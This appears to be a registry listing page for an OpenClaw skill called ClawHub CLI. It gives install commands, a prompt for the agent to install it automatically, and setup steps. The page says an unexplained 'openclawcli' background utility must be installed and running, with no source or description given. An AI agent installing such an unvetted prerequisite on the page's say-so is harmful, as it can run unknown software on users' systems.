A comprehensive command-line interface for the discovery, installation, and lifecycle management of Openclaw Skills from the central registry.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install clawhubcli
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install clawhubcli using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is ClawHub CLI?
ClawHub CLI is the essential bridge between developers and the clawhub.ai registry, providing a streamlined workflow for managing AI agent capabilities. It allows developers to search for new functionalities, install specific versions of tools, and keep their environment synchronized with the latest updates using advanced hash-based matching. By leveraging this CLI, users can efficiently handle compressed skill packages and benefit from optimized performance through local caching.
Designed for both individual developers and enterprise teams, the tool simplifies the process of distributing and consuming Openclaw Skills. It ensures that every skill is properly versioned and documented, making it easier to maintain complex agentic workflows. Note that this CLI functions as part of a broader ecosystem and requires the openclawcli utility to be active for all registry operations.
ClawHub CLI Use Cases
- Searching the global registry for specific Openclaw Skills related to database management or automation.
- Standardizing agent environments by installing specific pinned versions of Openclaw Skills.
- Automating the update process for an entire library of Openclaw Skills using batch commands.
- Publishing proprietary or community-driven Openclaw Skills with full semantic versioning support.
- Integrating skill deployment into GitHub Actions or other CI/CD pipelines for automated agent updates.
How ClawHub CLI Works
- The user ensures the openclawcli background utility is running to facilitate secure communication with the registry.
- Commands are issued through the terminal to search the central database for relevant Openclaw Skills.
- Upon installation, the CLI downloads the skill, verifies its integrity, and places it in the designated local directory.
- For updates, the CLI generates hashes of local files and compares them against registry metadata to detect changes while attempting to preserve local modifications.
- Developers use the publish command to upload their local skill directories, including the required SKILL.md documentation, back to the registry.
ClawHub CLI Setup
First, ensure the prerequisite openclawcli is installed and running on your system. Then, install the ClawHub CLI globally via npm:
npm i -g clawhub
Verify the installation and authenticate to enable publishing capabilities:
clawhub --version
clawhub login
ClawHub CLI Data Schema & Taxonomy
ClawHub CLI organizes data using a combination of local configuration files and structured skill directories. It tracks the state of Openclaw Skills through the following schema:
| Component | Description | Default Path |
|---|---|---|
| Configuration | Stores registry URLs and default paths | ~/.clawhubrc |
| Skill Directory | Local folder containing the logic for Openclaw Skills | ./skills/ |
| Manifest | The SKILL.md file defining the skill's metadata | [skill-dir]/SKILL.md |
| Environment | Variables for registry and debug overrides | shell env |
| Cache | Stores downloaded archives for offline management | [workdir] |
ClawHub CLI Advanced Features
- Hash-based update detection that intelligently identifies when Openclaw Skills need a refresh without overwriting custom local changes.
- Full support for Semantic Versioning (semver) during the publishing process, including patch, minor, and major bumps.
- Batch operation capabilities allowing for the simultaneous update or installation of multiple Openclaw Skills via scripting.
- Headless authentication support using environment variables for seamless integration into CI/CD environments.
- Custom registry overrides, enabling organizations to host and manage private collections of Openclaw Skills.
SKILL.md
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